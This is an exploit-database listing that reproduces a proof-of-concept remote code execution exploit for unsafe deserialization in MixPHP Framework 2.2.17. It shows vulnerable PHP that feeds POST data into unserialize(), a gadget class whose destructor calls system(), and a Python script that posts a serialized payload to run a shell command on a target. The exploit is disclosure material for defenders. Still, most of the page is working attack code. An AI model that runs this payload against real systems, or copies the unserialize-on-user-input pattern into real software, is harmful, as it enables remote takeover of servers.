EXPLOITDB 8.1 HIGH

MixPHP Framework 2.2.17 – Unsafe Deserialization Remote Code Execution_EDB-ID:52590

8.1 / 10
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

Exploit Title: MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution Date: 2026-05-14 Exploit Author: cardosource Vendor Homepage: https://github.com/mix-php/mix Software Link: https://github.com/mix-php/mix Version: 2.x through 2.2.17...
Visit Original Source

Basic Information

ID EDB-ID:52590
Published May 29, 2026 at 00:00

Affected Product

Affected Versions # Exploit Title: MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution
# Date: 2026-05-14
# Exploit Author: cardosource
# Vendor Homepage: https://github.com/mix-php/mix
# Software Link: https://github.com/mix-php/mix
# Version: 2.x through 2.2.17
# Tested on: Ubuntu 26.04 LTS / PHP 8.3.6
# CVE: CVE-2026-42471
"""
PHP applications that pass user-controlled input directly into
unserialize() may be vulnerable to arbitrary code execution when
attacker-controlled gadget chains are available.

The following proof of concept demonstrates exploitation through
a reachable __destruct() magic method.

Vulnerable Code
===============

$payload = $_POST["data"] ?? "";
unserialize($payload);

Gadget
======

class A {
public $c = 'id>/tmp/p';

public function __destruct() {
system($this->c);
}
}

Lab Setup
=========


php -S 0.0.0.0:8000

python3 php_deserialization_rce.py

"""

import requests

target = "http://127.0.0.1:8000/index.php"

payload = 'O:1:"A":1:{s:1:"c";s:9:"id>/tmp/p";}'

r = requests.post(target, data={"data": payload})

print(r.text)

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.